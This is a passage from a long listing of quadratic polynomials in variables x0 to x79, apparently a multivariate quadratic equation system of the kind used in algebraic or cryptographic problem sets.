+ x29*x61 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x59 + x30*x61 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x68 + x30*x70 + x30*x72 + x30*x73 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x44 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x57 + x31*x60 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x75 + x31*x78 + x32*x33 + x32*x36 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x48 + x32*x51 + x32*x52 + x32*x57 + x32*x59 + x32*x62 + x32*x64 + x32*x68 + x32*x69 + x32*x73 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x41 + x33*x42 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x68 + x33*x71 + x33*x76 + x33*x77 + x33*x78 + x34*x35 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x47 + x34*x51 + x34*x56 + x34*x57 + x34*x61 + x34*x63 + x34*x66 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x73 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x40 + x35*x41 + x35*x43 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x53 + x35*x54 + x35*x57 + x35*x59 + x35*x62 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x72 + x35*x74 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x48 + x36*x53 + x36*x58 + x36*x59 + x36*x60 + x36*x62 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x52 + x37*x53 + x37*x54 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x63 + x37*x66 + x37*x70 + x37*x71 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x41 + x38*x42 + x38*x44 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x70 + x38*x76 + x38*x77 + x38 + x39*x42 + x39*x43 + x39*x45 + x39*x46 + x39*x47 + x39*x50 + x39*x51 + x39*x52 + x39*x54 + x39*x57 + x39*x58 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x41 + x40*x46 + x40*x47 + x40*x51 + x40*x55 + x40*x56 + x40*x58 + x40*x61 + x40*x64 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x73 + x40*x75 + x40*x79 + x41*x53 + x41*x54 + x41*x55 + x41*x59 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x69 + x41*x70 + x41*x73 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x42*x44 + x42*x45 + x42*x51 + x42*x55 + x42*x57 + x42*x59 + x42*x61 + x42*x62 + x42*x63 + x42*x66 + x42*x68 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x78 + x43*x44 + x43*x45 + x43*x49 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x57 + x43*x58 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x73 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x51 + x44*x52 + x44*x54 + x44*x55 + x44*x57 + x44*x59 + x44*x60 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x70 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x48 + x45*x52 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x63 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x75 + x45*x76 + x45*x79 + x46*x48 + x46*x53 + x46*x55 + x46*x58 + x46*x59 + x46*x60 + x46*x61 + x46*x66 + x46*x68 + x46*x71 + x46*x72 + x46*x73 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x62 + x47*x65 + x47*x66 + x47*x68 + x47*x71 + x47*x74 + x47*x76 + x47*x78 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x59 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x55 + x49*x58 + x49*x60 + x49*x63 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x52 + x50*x56 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x65 + x50*x69 + x50*x71 + x50*x75 + x50*x76 + x50*x79 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x63 + x51*x64 + x51*x65 + x51*x67 + x51*x71 + x51*x74 + x51*x77 + x51*x78 + x51 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x61 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x70 + x52*x72 + x52*x75 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x58 + x53*x60 + x53*x61 + x53*x64 + x53*x65 + x53*x66 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x71 + x53*x75 + x53*x77 + x53 + x54*x55 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x66 + x54*x68 + x54*x70 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x59 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x77 + x55*x78 + x55*x79 + x56*x60 + x56*x61 + x56*x64 + x56*x65 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x79 + x56 + x57*x61 + x57*x63 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x76 + x57*x79 + x57 + x58*x60 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x73 + x58*x76 + x58*x77 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x65 + x60*x66 + x60*x71 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x66 + x61*x70 + x61*x71 + x61*x72 + x61*x76 + x61*x79 + x62*x64 + x62*x66 + x62*x67 + x62*x69 + x62*x72 + x62*x73 + x62*x75 + x62*x78 + x62*x79 + x62 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x64*x68 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x65*x69 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x65 + x66*x68 + x66*x69 + x66*x70 + x66*x72 + x66*x74 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x69 + x67*x71 + x67*x77 + x67*x79 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x79 + x69*x70 + x69*x74 + x69*x75 + x69*x76 + x69 + x70*x71 + x70*x75 + x70*x76 + x70*x79 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x75 + x72*x77 + x73*x76 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x76 + x75*x78 + x75*x79 + x76 + x77 + x78*x79 + x79, x0*x1 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x28 + x0*x30 + x0*x37 + x0*x41 + x0*x45 + x0*x47 + x0*x48 + x0*x52 + x0*x56 + x0*x59 + x0*x61 + x0*x62 + x0*x63 + x0*x67 + x0*x68 + x0*x70 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x1*x8 + x1*x12 + x1*x13 + x1*x14 + x1*x16 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x35 + x1*x36 + x1*x39 + x1*x41 + x1*x43 + x1*x44 + x1*x45 + x1*x52 + x1*x57 + x1*x58 + x1*x59 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x18 + x2*x21 + x2*x23 + x2*x24 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x38 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x53 + x2*x57 + x2*x59 + x2*x60 + x2*x62 + x2*x63 + x2*x71 + x2*x73 + x2*x74 + x2*x79 + x3*x6 + x3*x7 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x51 + x3*x54 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x62 + x3*x63 + x3*x65 + x3*x67 + x3*x69 + x3*x74 + x3*x75 + x3*x76 + x3*x79 + x3 + x4*x8 + x4*x10 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x21 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x37 + x4*x38 + x4*x40 + x4*x43 + x4*x47 + x4*x48 + x4*x51 + x4*x60 + x4*x61 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x73 + x4*x76 + x4*x77 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x29 + x5*x30 + x5*x33 + x5*x35 + x5*x38 + x5*x39 + x5*x41 + x5*x42 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x54 + x5*x56 + x5*x59 + x5*x63 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x72 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x6*x7 + x6*x15 + x6*x17 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x42 + x6*x44 + x6*x46 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x58 + x6*x60 + x6*x64 + x6*x73 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x10 + x7*x13 + x7*x14 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x54 + x7*x55 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x64 + x7*x65 + x7*x66 + x7*x68 + x7*x70 + x7*x71 + x7*x73 + x7*x77 + x8*x9 + x8*x11 + x8*x14 + x8*x15 + x8*x19 + x8*x22 + x8*x25 + x8*x28 + x8*x29 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x41 + x8*x44 + x8*x48 + x8*x50 + x8*x54 + x8*x55 + x8*x60 + x8*x62 + x8*x63 + x8*x67 + x8*x69 + x8*x71 + x8*x76 + x8*x77 + x8*x79 + x9*x10 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x24 + x9*x25 + x9*x28 + x9*x29 + x9*x30 + x9*x34 + x9*x37 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x55 + x9*x58 + x9*x59 + x9*x61 + x9*x64 + x9*x65 + x9*x68 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x21 + x10*x25 + x10*x29 + x10*x35 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x42 + x10*x43 + x10*x45 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x55 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x66 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x72 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x13 + x11*x14 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x42 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x70 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x42 + x12*x46 + x12*x48 + x12*x52 + x12*x55 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x73 + x12*x77 + x12*x78 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x28 + x13*x31 + x13*x37 + x13*x38 + x13*x39 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x67 + x13*x71 + x13*x72 + x13*x75 + x13*x78 + x13*x79 + x14*x16 + x14*x21 + x14*x24 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x32 + x14*x34 + x14*x35 + x14*x40 + x14*x42 + x14*x43 + x14*x45 + x14*x48 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x58 + x14*x59 + x14*x61 + x14*x64 + x14*x65 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x78 + x14*x79 + x15*x17 + x15*x20 + x15*x21 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x40 + x15*x41 + x15*x46 + x15*x47 + x15*x48 + x15*x50 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x21 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x29 + x16*x30 + x16*x32 + x16*x33 + x16*x34 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x61 + x16*x64 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x24 + x17*x26 + x17*x29 + x17*x30 + x17*x32 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x51 + x17*x52 + x17*x54 + x17*x55 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17 + x18*x21 + x18*x24 + x18*x26 + x18*x29 + x18*x30 + x18*x36 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x54 + x18*x56 + x18*x57 + x18*x61 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x76 + x18*x78 + x18 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x38 + x19*x41 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x60 + x19*x61 + x19*x63 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x36 + x20*x38 + x20*x40 + x20*x41 + x20*x46 + x20*x47 + x20*x48 + x20*x51 + x20*x54 + x20*x55 + x20*x57 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x73 + x20*x75 + x20*x76 + x20*x79 + x20 + x21*x26 + x21*x29 + x21*x36 + x21*x37 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x49 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x61 + x21*x62 + x21*x66 + x21*x67 + x21*x68 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x77 + x21*x78 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x29 + x22*x31 + x22*x33 + x22*x36 + x22*x39 + x22*x41 + x22*x42 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x63 + x22*x65 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x23*x25 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x33 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x42 + x23*x44 + x23*x46 + x23*x47 + x23*x50 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x70 + x23*x71 + x23*x73 + x23*x75 + x23 + x24*x27 + x24*x32 + x24*x34 + x24*x38 + x24*x41 + x24*x42 + x24*x45 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x59 + x24*x60 + x24*x61 + x24*x67 + x24*x69 + x24*x73 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x26 + x25*x28 + x25*x29 + x25*x31 + x25*x36 + x25*x38 + x25*x41 + x25*x42 + x25*x45 + x25*x46 + x25*x50 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x70 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x25*x79 + x26*x28 + x26*x33 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x40 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x56 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x78 + x26*x79 + x27*x30 + x27*x31 + x27*x37 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x61 + x27*x63 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x76 + x27*x78 + x27*x79 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x43 + x28*x50 + x28*x51 + x28*x52 + x28*x54 + x28*x57 + x28*x61 + x28*x64 + x28*x65 + x28*x72 + x28*x73 + x28*x75 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x37 + x29*x40 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x51 + x29*x53 + x29*x56 + x29*x60 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x31 + x30*x33 + x30*x35 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x45 + x30*x47 + x30*x49 + x30*x50 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x66 + x30*x68 + x30*x71 + x30*x73 + x30*x75 + x30*x76 + x30*x77 + x31*x34 + x31*x35 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x54 + x31*x56 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x32*x34 + x32*x36 + x32*x38 + x32*x39 + x32*x41 + x32*x43 + x32*x44 + x32*x48 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x61 + x32*x64 + x32*x65 + x32*x70 + x32*x71 + x32*x73 + x32*x74 + x32*x75 + x32*x77 + x32 + x33*x35 + x33*x36 + x33*x38 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x51 + x33*x58 + x33*x60 + x33*x63 + x33*x64 + x33*x66 + x33*x67 + x33*x68 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x51 + x34*x53 + x34*x55 + x34*x58 + x34*x60 + x34*x63 + x34*x64 + x34*x65 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x76 + x34*x78 + x34*x79 + x34 + x35*x39 + x35*x40 + x35*x43 + x35*x46 + x35*x47 + x35*x49 + x35*x50 + x35*x54 + x35*x55 + x35*x56 + x35*x59 + x35*x62 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x72 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x50 + x36*x53 + x36*x54 + x36*x57 + x36*x58 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x69 + x36*x71 + x36*x76 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x47 + x37*x48 + x37*x50 + x37*x53 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x53 + x38*x54 + x38*x56 + x38*x58 + x38*x59 + x38*x61 + x38*x63 + x38*x64 + x38*x69 + x38*x77 + x39*x41 + x39*x43 + x39*x47 + x39*x49 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x61 + x39*x62 + x39*x64 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x40*x42 + x40*x45 + x40*x47 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x56 + x40*x57 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x64 + x40*x68 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x48 + x41*x49 + x41*x52 + x41*x54 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x75 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x47 + x42*x48 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x63 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42 + x43*x45 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x71 + x43*x74 + x43*x76 + x43*x78 + x43 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x59 + x44*x61 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x47 + x45*x48 + x45*x50 + x45*x51 + x45*x55 + x45*x57 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x67 + x45*x70 + x45*x72 + x45*x73 + x45*x75 + x45*x76 + x45*x77 + x45*x79 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x53 + x46*x55 + x46*x58 + x46*x59 + x46*x62 + x46*x63 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x56 + x48*x62 + x48*x63 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x75 + x48*x78 + x49*x51 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x62 + x49*x63 + x49*x64 + x49*x68 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x77 + x49*x78 + x49 + x50*x54 + x50*x55 + x50*x59 + x50*x60 + x50*x64 + x50*x65 + x50*x68 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50*x78 + x50 + x51*x53 + x51*x55 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x70 + x51*x72 + x51*x75 + x51*x76 + x51*x78 + x52*x53 + x52*x54 + x52*x55 + x52*x57 + x52*x59 + x52*x60 + x52*x62 + x52*x64 + x52*x66 + x52*x68 + x52*x70 + x52*x72 + x52*x73 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x65 + x53*x68 + x53*x70 + x53*x71 + x53*x73 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x70 + x54*x71 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x65 + 